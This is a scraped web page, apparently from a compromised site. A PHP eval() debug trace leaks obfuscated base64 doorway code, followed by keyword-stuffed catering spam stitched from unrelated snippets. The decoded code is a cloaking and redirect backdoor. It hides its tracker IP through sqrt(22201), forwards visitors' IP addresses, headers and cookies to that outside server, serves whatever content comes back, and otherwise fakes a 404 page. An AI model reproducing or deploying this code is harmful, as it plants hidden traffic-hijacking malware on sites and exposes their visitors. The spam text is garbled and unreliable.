dDcmVhdGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDI6ICR0ZXh0ID0gJ0FjY2VwdGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDM6ICR0ZXh0ID0gJ05vbi1BdXRob3JpdGF0aXZlIEluZm9ybWF0aW9uJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDQ6ICR0ZXh0ID0gJ05vIENvbnRlbnQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDIwNTogJHRleHQgPSAnUmVzZXQgQ29udGVudCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjA2OiAkdGV4dCA9ICdQYXJ0aWFsIENvbnRlbnQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDMwMDogJHRleHQgPSAnTXVsdGlwbGUgQ2hvaWNlcyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAxOiAkdGV4dCA9ICdNb3ZlZCBQZXJtYW5lbnRseSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAyOiAkdGV4dCA9ICdNb3ZlZCBUZW1wb3JhcmlseSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAzOiAkdGV4dCA9ICdTZWUgT3RoZXInOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDMwNDogJHRleHQgPSAnTm90IE1vZGlmaWVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAzMDU6ICR0ZXh0ID0gJ1VzZSBQcm94eSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAwOiAkdGV4dCA9ICdCYWQgUmVxdWVzdCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAxOiAkdGV4dCA9ICdVbmF1dGhvcml6ZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQwMjogJHRleHQgPSAnUGF5bWVudCBSZXF1aXJlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAzOiAkdGV4dCA9ICdGb3JiaWRkZW4nOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQwNDogJHRleHQgPSAnTm90IEZvdW5kJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MDU6ICR0ZXh0ID0gJ01ldGhvZCBOb3QgQWxsb3dlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA2OiAkdGV4dCA9ICdOb3QgQWNjZXB0YWJsZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA3OiAkdGV4dCA9ICdQcm94eSBBdXRoZW50aWNhdGlvbiBSZXF1aXJlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA4OiAkdGV4dCA9ICdSZXF1ZXN0IFRpbWUtb3V0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MDk6ICR0ZXh0ID0gJ0NvbmZsaWN0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTA6ICR0ZXh0ID0gJ0dvbmUnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQxMTogJHRleHQgPSAnTGVuZ3RoIFJlcXVpcmVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTI6ICR0ZXh0ID0gJ1ByZWNvbmRpdGlvbiBGYWlsZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQxMzogJHRleHQgPSAnUmVxdWVzdCBFbnRpdHkgVG9vIExhcmdlJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTQ6ICR0ZXh0ID0gJ1JlcXVlc3QtVVJJIFRvbyBMYXJnZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDE1OiAkdGV4dCA9ICdVbnN1cHBvcnRlZCBNZWRpYSBUeXBlJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA1MDA6ICR0ZXh0ID0gJ0ludGVybmFsIFNlcnZlciBFcnJvcic7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNTAxOiAkdGV4dCA9ICdOb3QgSW1wbGVtZW50ZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDUwMjogJHRleHQgPSAnQmFkIEdhdGV3YXknOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDUwMzogJHRleHQgPSAnU2VydmljZSBVbmF2YWlsYWJsZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNTA0OiAkdGV4dCA9ICdHYXRld2F5IFRpbWUtb3V0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA1MDU6ICR0ZXh0ID0gJ0hUVFAgVmVyc2lvbiBub3Qgc3VwcG9ydGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICAgICAgZXhpdCgnVW5rbm93biBodHRwIHN0YXR1cyBjb2RlICInIC4gaHRtbGVudGl0aWVzKCRjb2RlKSAuICciJyk7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcHJvdG9jb2wgPSAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QUk9UT0NPTCddKSA/ICRfU0VSVkVSWydTRVJWRVJfUFJPVE9DT0wnXSA6ICdIVFRQLzEuMCcpOw0KDQogICAgICAgICAgICBoZWFkZXIoJHByb3RvY29sIC4gJyAnIC4gJGNvZGUgLiAnICcgLiAkdGV4dCk7DQoNCiAgICAgICAgICAgICRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSA9ICRjb2RlOw0KDQogICAgICAgIH0gZWxzZSB7DQoNCiAgICAgICAgICAgICRjb2RlID0gKGlzc2V0KCRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSkgPyAkR0xPQkFMU1snaHR0cF9yZXNwb25zZV9jb2RlJ10gOiAyMDApOw0KDQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGNvZGU7DQoNCiAgICB9DQp9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCdnZXRhbGxoZWFkZXJzJykpDQp7DQogICAgZnVuY3Rpb24gZ2V0YWxsaGVhZGVycygpDQogICAgew0KICAgICAgICAkaGVhZGVycyA9IGFycmF5KCk7DQogICAgICAgIGZvcmVhY2ggKCRfU0VSVkVSIGFzICRuYW1lID0+ICR2YWx1ZSkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKHN1YnN0cigkbmFtZSwgMCwgNSkgPT0gJ0hUVFBfJykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkaGVhZGVyc1tzdHJfcmVwbGFjZSgnICcsICctJywgdWN3b3JkcyhzdHJ0b2xvd2VyKHN0cl9yZXBsYWNlKCdfJywgJyAnLCBzdWJzdHIoJG5hbWUsIDUpKSkpKV0gPSAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRoZWFkZXJzOw0KICAgIH0NCn0JDQokaGlkZCA9IHNxcnQoMjIyMDEpOw0KJGtleXNfZmlsZV9zb3VyY2VfZW5jID0gZmlsZV9nZXRfY29udGVudHMoJHR4dF9maWxlbmFtZS4iLnR4dCIpOw0KJGtleXNfZmlsZV9zb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRrZXlzX2ZpbGVfc291cmNlX2VuYyk7DQokYXJyX2Zyb21fZmlsZSA9IGV4cGxvZGUoIlxuIiwgJGtleXNfZmlsZV9zb3VyY2UpOw0KJG1hdGNoaW5nX2FyciA9IGFycmF5KCk7DQpmb3JlYWNoICgkYXJyX2Zyb21fZmlsZSBhcyAkbGluZSl7DQoJJHRtcF9hcnIgPSBleHBsb2RlKCI7IiwgJGxpbmUpOw0KCSRtYXRjaGluZ19hcnJbJHRtcF9hcnJbMF1dWydrZXl3b3JkJ10gPSB0cmltKCR0bXBfYXJyWzFdKTsNCgkkbWF0Y2hpbmdfYXJyWyR0bXBfYXJyWzBdXVsncGF0aCddID0gdHJpbSgkdG1wX2FyclsyXSk7DQp9DQoka2V5d29yZCA9ICRtYXRjaGluZ19hcnJbJG15Zm5hbWVdWydrZXl3b3JkJ107DQokdHh0X3BhdGggPSAkbWF0Y2hpbmdfYXJyWyRteWZuYW1lXVsncGF0aCddOw0KJGRvb3JfZG9tYWluID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KJGRvb3JfZmlsZSA9ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOw0KDQppZigka2V5d29yZCl7DQoJJGNsaWVudCA9IG5ldyBLQ2xpY2tDbGllbnQoJ2h0dHA6Ly8nLiRoaWRkLicuMjAyLjY1LjE0Mi9hcGkucGhwPycsICRteV9jYW1wX0lEKTsNCgkkY2xpZW50LT5zZW5kQWxsUGFyYW1zKCk7IA0KCSRjbGllbnQtPmZvcmNlUmVkaXJlY3RPZmZlcigpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfMScsIHVybGVuY29kZSgkZG9vcl9kb21haW4pKTsNCgkkY2xpZW50LT5wYXJhbSgnc3ViX2lkXzInLCB1cmxlbmNvZGUoJGRvb3JfZmlsZSkpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfMycsIHVybGVuY29kZSgkZG9vcl90cGwpKTsNCgkkY2xpZW50LT5wYXJhbSgnc3ViX2lkXzQnLCAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfNScsIHVybGVuY29kZSgkcGFja19uYW1lKSk7DQoJJGNsaWVudC0+cGFyYW0oJ3N1Yl9pZF82JywgdXJsZW5jb2RlKCR0eHRfcGF0aCkpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfNycsIHVybGVuY29kZSgkbXlmbmFtZSkpOw0KCSRjbGllbnQtPmtleXdvcmQodXJsZW5jb2RlKCRrZXl3b3JkKSk7DQoJJGNsaWVudC0+Y3VycmVudFBhZ2VBc1JlZmVycmVyKCk7DQoJaWYoJGNsaWVudC0+Z2V0Qm9keSgpPT0iIil7DQoJCSRjbGllbnQtPmV4ZWN1dGVBbmRCcmVhaygpOw0KCX0NCgllbHNlew0KCQkkY29udGVudF9ib2R5ID0gcHJlZ19yZXBsYWNlKCd8PGJhc2UgaHJlZj0iKC4qPykiPnwnLCcnLCRjbGllbnQtPmdldEJvZHkoKSk7DQoJCWVjaG8gJGNvbnRlbnRfYm9keTsNCg0KCX0NCn0NCmVsc2V7DQoJaHR0cF9yZXNwb25zZV9jb2RlKDQwNCk7DQoJZWNobyAnDQo8IURPQ1RZUEUgSFRNTCBQVUJMSUMgIi0vL0lFVEYvL0RURCBIVE1MIDIuMC8vRU4iPg0KPGh0bWw+PGhlYWQ+DQo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+DQo8L2hlYWQ+PGJvZHk+DQo8aDE+Tm90IEZvdW5kPC9oMT4NCjxwPlRoZSByZXF1ZXN0ZWQgVVJMIC8nLiRteWZuYW1lLicgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+DQo8L2JvZHk+PC9odG1sPg0KCSc7DQoJZGllKCk7DQp9DQoNCg=='; $______=$____($______); $___=$____($___); $_____=$___('$___',$______); $_____($____($___________));' ).../bqpj.php(143) : runtime-created function:1
40.0018531008__lambda_func( ).../bqpj.php(143) : runtime-created function(1) : eval()'d code:305
50.0035666376eval( ' $door_tpl = "auto_2207_1"; $my_camp_ID = "WbcGLm7bMyGtf241"; $pack_name = "2307_precached_NOSLASH"; $txt_filename = "bqpj"; $my_get_arr = array_values($_GET); $myfname = $my_get_arr[0]; class KClickClient { const SESSION_SUB_ID = 'sub_id'; const SESSION_LANDING_TOKEN = 'landing_token'; /** @version 3.5 **/ const VERSION = 3; const STATE_SESSION_KEY = 'keitaro_state'; const STATE_SESSION_EXPIRES_KEY = 'keitaro_state_expires'; const DEFAULT_TTL = 1; /** * @var KHttpClient */ private $_httpClient; private $_debug = false; private $_trackerUrl; private $_params = array(); private $_log = array(); private $_excludeParams = array('api_key', 'token', 'language', 'ua', 'ip', 'referrer', 'force_redirect_offer'); private $_result; private $_stateRestored; const ERROR = '[KTrafficClient] Something is wrong. Enable debug mode to see the reason.'; public function __construct($trackerUrl, $token) { $this->trackerUrl($trackerUrl); $this->campaignToken($token); $this->version(self::VERSION); $this->param('info', 1); $this->fillParams(); } public function fillParams() { $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : null; $this->setHttpClient(new KHttpClient()); $this->ip($this->_findIp()) ->ua(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null) ->language((isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : '')) ->seReferrer($referrer) ->referrer($referrer) ->param('original_headers', getallheaders()) ->param('original_host', isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') ->param('kversion', '3.4'); if ($this->isPrefetchDetected()) { $this->param('prefetch', 1); } } public function currentPageAsReferrer() { $this->referrer($this->_getCurrentPage()); return $this; } public function debug($state = true) { $this->_debug = $state; return $this; } public function seReferrer($seReferrer) { $this->_params['se_referrer'] = $seReferrer; return $this; } public function referrer($referrer) { $this->_params['referrer'] = $referrer; return $this; } public function setHttpClient($httpClient) { $this->_httpClient = $httpClient; return $this; } public function trackerUrl($name) { $this->_trackerUrl = $name; } // @deprecated public function token($token) { return $this->campaignToken($token); } public function campaignToken($campaignToken) { $this->_params['token'] = $campaignToken; return $this; } public function version($version) { $this->_params['version'] = $version; return $this; } public function ua($ua) { $this->_params['ua'] = $ua; return $this; } public function language($language) { $this->_params['language'] = $language; return $this; } public function keyword($keyword) { $this->_params['keyword'] = $keyword; return $this; } public function forceRedirectOffer() { $this->_params['force_redirect_offer'] = 1; } public function ip($ip) { $this->_params['ip'] = $ip; return $this; } public function sendUtmLabels() { foreach ($_GET as $name => $value) { if (strstr($name, 'utm_')) { $this->_params[$name] = $value; } } } public function setLandingToken($token) { $this->_startSession(); $_SESSION['token'] = $token; } public function getSubId() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log('No sub_id is defined'); return 'no_subid'; } $subId = $result->info->sub_id; return $subId; } public function getToken() { $result = $this->performRequest(); if (empty($result->info->sub_id)) { $this->log('No landing token is defined'); return 'no_token'; } $subId = $result->info->token; return $subId; } public function sendAllParams() { foreach ($_GET as $name => $value) { if (empty($this->_params[$name]) && !in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } } } public function restoreFromSession() { if ($this->isStateRestored()) { return; } $this->_startSession(); if (!empty($_SESSION[self::STATE_SESSION_KEY])) { if ($_SESSION[self::STATE_SESSION_EXPIRES_KEY] < time()) { unset($_SESSION[self::STATE_SESSION_KEY]); unset($_SESSION[self::STATE_SESSION_EXPIRES_KEY]); $this->log('State expired'); } else { $this->_result = json_decode($_SESSION[self::STATE_SESSION_KEY], false); if (isset($this->_result) && isset($this->_result->headers)) { $this->_result->headers = array(); } $this->_stateRestored = true; $this->log('State restored'); } } } public function restoreFromQuery() { if (isset($_GET['_subid'])) { $this->_stateRestored = true; if (empty($this->_result)) { $this->_result = new StdClass(); $this->_result->info = new StdClass(); } $this->_result->info->sub_id = $_GET['_subid']; $this->log('SubId loaded from query'); if (isset($_GET['_token'])) { $this->_result->info->token = $_GET['_token']; $this->log('Landing token loaded from query'); } $this->_storeState($this->_result, self::DEFAULT_TTL); $this->_stateRestored = true; } } public function isStateRestored() { return $this->_stateRestored; } public function isPrefetchDetected() { $checkServerParams = array('HTTP_X_PURPOSE' => 'preview', 'HTTP_X_MOZ' => 'prefetch', 'HTTP_X_FB_HTTP_ENGINE' => 'Liger'); foreach ($checkServerParams as $name => $value) { if (isset($_SERVER[$name]) && $_SERVER[$name] == $value) { return true; } } return false; } public function saveCookie($key, $value, $ttl) { if (isset($_COOKIE[$key]) && $_COOKIE[$key] == $value) { return; } if (!headers_sent()) { setcookie($key, $value, $this->_getCookiesExpireTimestamp($ttl), '/', $this->_getCookieHost()); } $_COOKIE[$key] = $value; } public function param($name, $value) { if (!in_array($name, $this->_excludeParams)) { $this->_params[$name] = $value; } return $this; } public function params($value) { if (!empty($value)) { if (is_string($value)) { parse_str($value, $result); foreach ($result as $name => $value) { $this->param($name, $value); } } } return $this; } public function reset() { $this->_result = null; } public function performRequest() { if ($this->_result) { return $this->_result; } $request = $this->_buildRequestUrl(); $params = $this->getParams(); $options = $this->_getRequestOptions(); $this->log('Request: ' . $request); try { $result = $this->_httpClient->request($request, $params, $options); $this->log('Response: ' . $result); } catch (KTrafficClientError $e) { if ($this->_debug) { throw $e; } else { return self::ERROR; } } $this->_result = json_decode($result); $this->_storeState( $this->_result, isset($this->_result->cookies_ttl) ? $this->_result->cookies_ttl : null ); if (isset($this->_result->cookies)) { $this->_saveKeitaroCookies($this->_result->cookies , $this->_result->cookies_ttl); } return $this->_result; } public function execute($break = false, $print = true) { $content = $this->getContent(); if ($print) { $headers = $this->sendHeaders(); echo $content; } else { return $content; } if ($break && (!empty($content) || $this->checkHeaders($headers))) { exit; } } public function checkHeaders($headers) { if (empty($headers)) { return; } foreach ($headers as $header) { if (strpos($header, 'Location:') === 0) { return true; } if ($header == 'HTTP/1.1 404 Not Found') { return true; } } return false; } public function getContent() { $result = $this->performRequest(); $content = ''; if (!empty($result)) { if (!empty($result->error)) { $content .= $result->error; } if (!empty($result->body)) { if (isset($result->contentType) && (strstr($result->contentType, 'image') || strstr($result->contentType, 'application/pdf'))) { $content = base64_decode($result->body); } else { $content .= $result->body; } } } return $content; } public function showLog($separator = '
') { echo '
' . implode($separator, $this->getLog()). '
'; } public function log($msg) { if ($this->_debug) { error_log($msg); } $this->_log[] = $msg; } public function getLog() { return $this->_log; } public function executeAndBreak() { $this->execute(true); } public function getParams() { return $this->_params; } private function _storeState($result, $ttl) { $this->_startSession(); $_SESSION[self::STATE_SESSION_KEY] = json_encode($result); $_SESSION[self::STATE_SESSION_EXPIRES_KEY] = time() + ($ttl * 60 * 60); // for back-compatibility purpose if (!empty($result->info)) { if (!empty($result->info->sub_id)) { $_SESSION[self::SESSION_SUB_ID] = $result->info->sub_id; } if (!empty($result->info->token)) { $_SESSION[self::SESSION_LANDING_TOKEN] = $result->info->token; } } } private function _saveKeitaroCookies($cookies, $ttl) { foreach ($cookies as $key => $value) { $this->saveCookie($key, $value, $ttl); } } public function sendHeaders() { $result = $this->performRequest(); $headers = array(); $file = ""; $line = ""; if (headers_sent($file, $line)) { $msg = "Body output already started"; if (!empty($file)) { $msg .= "({$file}:{$line})"; } $this->log($msg); } if (!empty($result->headers)) { foreach ($result->headers as $header) { $headers[] = $header; if (!headers_sent()) { header($header); } } } if (!empty($result->status)) { http_response_code($result->status); } if (!empty($result->contentType)) { $header = 'Content-Type: ' . $result->contentType; $headers[] = $header; if (!headers_sent()) { header($header); } } return $headers; } // @deprecated public function updateHeaders() { $this->sendHeaders(); } public function getOffer($params = array(), $fallback = 'no_offer') { $result = $this->performRequest(); $token = $this->getToken(); if (empty($token)) { $this->log('Campaign hasn\'t returned offer'); return $fallback; } $params['_lp'] = 1; $params['_token'] = $result->info->token; return $this->_buildOfferUrl($params); } public function isBot() { $result = $this->performRequest(); if (isset($result->info)) { return isset($result->info->is_bot) ? $result->info->is_bot : false; } } public function isUnique($level = 'campaign') { $result = $this->performRequest(); if (isset($result->info) && $result->info->uniqueness) { return isset($result->info->uniqueness->$level) ? $result->info->uniqueness->$level : false; } } // @deprecated public function forceChooseOffer() { throw new \Error('forceChooseOffer was removed in KClickClient v3.'); } public function getBody() { $result = $this->performRequest(); return $result->body; } public function getHeaders() { $result = $this->performRequest(); return $result->headers; } private function _startSession() { if (!headers_sent()) { @session_start(); } } private function _buildOfferUrl($params = array()) { $request = parse_url($this->_trackerUrl); $lastChar = substr($request['path'], -1); if ($lastChar != '/' && $lastChar != '\\') { $path = str_replace(basename($request['path']), '', $request['path']); } else { $path = $request['path']; } $path = ltrim($path, "\\\/"); $params = http_build_query($params); return "{$request['scheme']}://{$request['host']}/{$path}?{$params}"; } private function _getCurrentPage() { if ((isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) || !empty($_SERVER['HTTPS'])) { $scheme = 'https'; } else { $scheme = 'http'; } return $scheme . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; } private function _buildRequestUrl() { $request = parse_url($this->_trackerUrl); $url = "{$request['scheme']}://{$request['host']}"; if (isset($request['port'])) { $url = ':' . $request['port']; } $url .= "/{$request['path']}"; return $url; } private function _findIp() { $ip = null; $headers = array( 'HTTP_X_FORWARDED_FOR', 'HTTP_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_FORWARDED', 'HTTP_CLIENT_IP', 'HTTP_FORWARDED_FOR_IP', 'X_FORWARDED_FOR', 'FORWARDED_FOR', 'X_FORWARDED', 'FORWARDED', 'CLIENT_IP', 'FORWARDED_FOR_IP', 'HTTP_PROXY_CONNECTION'); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $tmp = explode(',', $_SERVER[$header]); $ip = trim($tmp[0]); break; } } if (strstr($ip, ',')) { $tmp = explode(',', $ip); if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (empty($ip)) { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } private function _getCookiesExpireTimestamp($ttl) { return time() + 60 * 60 * $ttl; } private function _getCookieHost() { if (isset($_SERVER['HTTP_HOST']) && substr_count($_SERVER['HTTP_HOST'], '.') < 3) { $host = '.' . str_replace('www.', '', $_SERVER['HTTP_HOST']); } else { $host = null; } return $host; } private function _getRequestOptions() { $opts = array(); if (isset($_SERVER["HTTP_COOKIE"])) { $opts['cookies'] = preg_replace('/PHPSESSID=.*?;/si', '', $_SERVER["HTTP_COOKIE"]); } return $opts; } } class KHttpClient { const UA = 'KHttpClient'; public function request($url, $params, $opts = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_COOKIE, isset($opts['cookies']) ? $opts['cookies'] : null); curl_setopt($ch, CURLOPT_NOBODY, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, self::UA); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); $result = curl_exec($ch); if (curl_error($ch)) { throw new KTrafficClientError(curl_error($ch)); } if (empty($result)) { throw new KTrafficClientError('Empty response'); } return $result; } } class KTrafficClientError extends \Exception {} if (!function_exists('http_response_code')) { function http_response_code($code = NULL) { if ($code !== NULL) { switch ($code) { case 100: $text = 'Continue'; break; case 101: $text = 'Switching Protocols'; break; case 200: $text = 'OK'; break; case 201: $text = 'Created'; break; case 202: $text = 'Accepted'; break; case 203: $text = 'Non-Authoritative Information'; break; case 204: $text = 'No Content'; break; case 205: $text = 'Reset Content'; break; case 206: $text = 'Partial Content'; break; case 300: $text = 'Multiple Choices'; break; case 301: $text = 'Moved Permanently'; break; case 302: $text = 'Moved Temporarily'; break; case 303: $text = 'See Other'; break; case 304: $text = 'Not Modified'; break; case 305: $text = 'Use Proxy'; break; case 400: $text = 'Bad Request'; break; case 401: $text = 'Unauthorized'; break; case 402: $text = 'Payment Required'; break; case 403: $text = 'Forbidden'; break; case 404: $text = 'Not Found'; break; case 405: $text = 'Method Not Allowed'; break; case 406: $text = 'Not Acceptable'; break; case 407: $text = 'Proxy Authentication Required'; break; case 408: $text = 'Request Time-out'; break; case 409: $text = 'Conflict'; break; case 410: $text = 'Gone'; break; case 411: $text = 'Length Required'; break; case 412: $text = 'Precondition Failed'; break; case 413: $text = 'Request Entity Too Large'; break; case 414: $text = 'Request-URI Too Large'; break; case 415: $text = 'Unsupported Media Type'; break; case 500: $text = 'Internal Server Error'; break; case 501: $text = 'Not Implemented'; break; case 502: $text = 'Bad Gateway'; break; case 503: $text = 'Service Unavailable'; break; case 504: $text = 'Gateway Time-out'; break; case 505: $text = 'HTTP Version not supported'; break; default: exit('Unknown http status code "' . htmlentities($code) . '"'); break; } $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0'); header($protocol . ' ' . $code . ' ' . $text); $GLOBALS['http_response_code'] = $code; } else { $code = (isset($GLOBALS['http_response_code']) ? $GLOBALS['http_response_code'] : 200); } return $code; } } if (!function_exists('getallheaders')) { function getallheaders() { $headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $headers; } } $hidd = sqrt(22201); $keys_file_source_enc = file_get_contents($txt_filename.".txt"); $keys_file_source = base64_decode($keys_file_source_enc); $arr_from_file = explode("\n", $keys_file_source); $matching_arr = array(); foreach ($arr_from_file as $line){ $tmp_arr = explode(";", $line); $matching_arr[$tmp_arr[0]]['keyword'] = trim($tmp_arr[1]); $matching_arr[$tmp_arr[0]]['path'] = trim($tmp_arr[2]); } $keyword = $matching_arr[$myfname]['keyword']; $txt_path = $matching_arr[$myfname]['path']; $door_domain = $_SERVER["HTTP_HOST"]; $door_file = $_SERVER['SCRIPT_NAME']; if($keyword){ $client = new KClickClient('http://'.$hidd.'.202.65.142/api.php?', $my_camp_ID); $client->sendAllParams(); $client->forceRedirectOffer(); $client->param('sub_id_1', urlencode($door_domain)); $client->param('sub_id_2', urlencode($door_file)); $client->param('sub_id_3', urlencode($door_tpl)); $client->param('sub_id_4', $_SERVER['HTTP_REFERER']); $client->param('sub_id_5', urlencode($pack_name)); $client->param('sub_id_6', urlencode($txt_path)); $client->param('sub_id_7', urlencode($myfname)); $client->keyword(urlencode($keyword)); $client->currentPageAsReferrer(); if($client->getBody()==""){ $client->executeAndBreak(); } else{ $content_body = preg_replace('||','',$client->getBody()); echo $content_body; } } else{ http_response_code(404); echo ' 404 Not Found

Not Found

The requested URL /'.$myfname.' was not found on this server.

'; die(); } '
)
.../bqpj.php(143) : runtime-created function(1) : eval()'d code(156) : runtime-created function:1
Sterling Catering Services

Sterling Catering Services

Delta Catering Inc is mostly engaged in Oil And Gas Field Services. Abhi Caterers is a leading corporate catering company providing exclusive corporate catering services. A full complement of bar staff is also available for your event. No matter the size or elaborateness of your event, Soprano’s strives to ensure excellence in everything they do. Toggle navigation. Take a look around to learn more about Events Catering and see all of our menus. Catering & Event Planning for Every Occasion Whether it's a historic mansion gazing out to the ocean, a rustic farm with a post and beam barn overlooking the picturesque hills of New England, a seaside clam bake on the …. Exquisite food, impeccable service and unparalleled attention to detail combine to ensure that your vision will be creatively translated and meticulously executed. Since 1998, Saint Germain Catering of Fairfax VA & Washington DC has crafted a reputation as caterers of distinction. After decades in ruin, the Garden Theater underwent a multi-million restoration and reopened October 2013. Ronnie's Gourmet Catering has the services and options you need to bring all of your wedding dreams to life when it comes to catering. Our sterling reputation has been built upon unmatched quality and service, and our pledge to convey the core values that our clientele has come to demand from Tasty Catering. Catering Services in Sterling on YP. Weddings, birthdays, barbeques, meetings and other special occassions require a lot of planning. Whether you are looking for information about Koch Catering located at 6633 18 Mile Rd in Sterling Heights MI, trying to find a company that offers Caterers near Sterling Heights MI or zip code 48314, or searching for the best Catering & Bartending Services near me, b2bYellowpages. Directions. Food & Drink Home & Garden Personal Services Professional Services. Sterling Insurance Group has relationships with more than 100 national insurance carriers to provide clients instant access to the most competitive insurance markets in the business. Quality Communion Catering in North NJ. Chef Rupa Vira brings to you the authentic taste and flavor of India in her signature style. Relax in our rooms while enjoying free WiFi and shuttle services. Elements catering offers great food at the best possible price. Please call us today to learn more!. Your special catering occasion deserves the attention to detail that Tasty Catering has perfected. Find Sterling Leisure (Thames Valley) Ltd in Windsor, SL4. Weddings, birthdays, barbeques, meetings and other special occassions require a lot of planning. Silver Spoon Catering specializes in Corporate Catering, Special Event Catering & Wedding Catering. bd’s Catering Available: (Please contact the location directly and speak with the General Manager). Find company information for Sterling Foodservice Design in ribaproductselector. See who you know at Rupa Vira's Catering Services, leverage your professional network, and get hired. $100 minimum order required for delivery. Fine cheeses, sliced meat and ready made items in the deli department. " Harry Murray MBE, CHAIRMAN, Lucknam Park. com experienced Food & Beverage coordinator to fulfill daily operations of our growing food and beverage services at our. Vending and catering services available in Okemos and the Lansing area. Get great meal help and so much more at wegmans. Specialty Sandwich also offers full-service catering at competitive prices you can afford. 0 mi Kosch Catering Rochester MI - 5. Great taste is the name of the game and we're committed to stepping up to the plate. Now Rehab & Drug Treatment Center. Since 1991, Sterling Event Planners of Williamsburg, Inc. Sterling Meadows. Sterling Catering and Events. Each deli platter has a wide selection of delicious and nutritious ingredients that are freshly prepared. - The public gets a first taste of the specialty dishes created by Sterling Catering Services restaurants. Let The Omelette Man serve your next event. Full-Service Catering Available for Our Place or Yours We are pleased to offer a wide variety of catering services – from small family gatherings to large corporate events – we […]. Our chefs & servers bring elegance & flavorful experience to weddings, family functions, birthday parties, bridal showers & corporate events. com Check out www. Get Free, Instant Help - 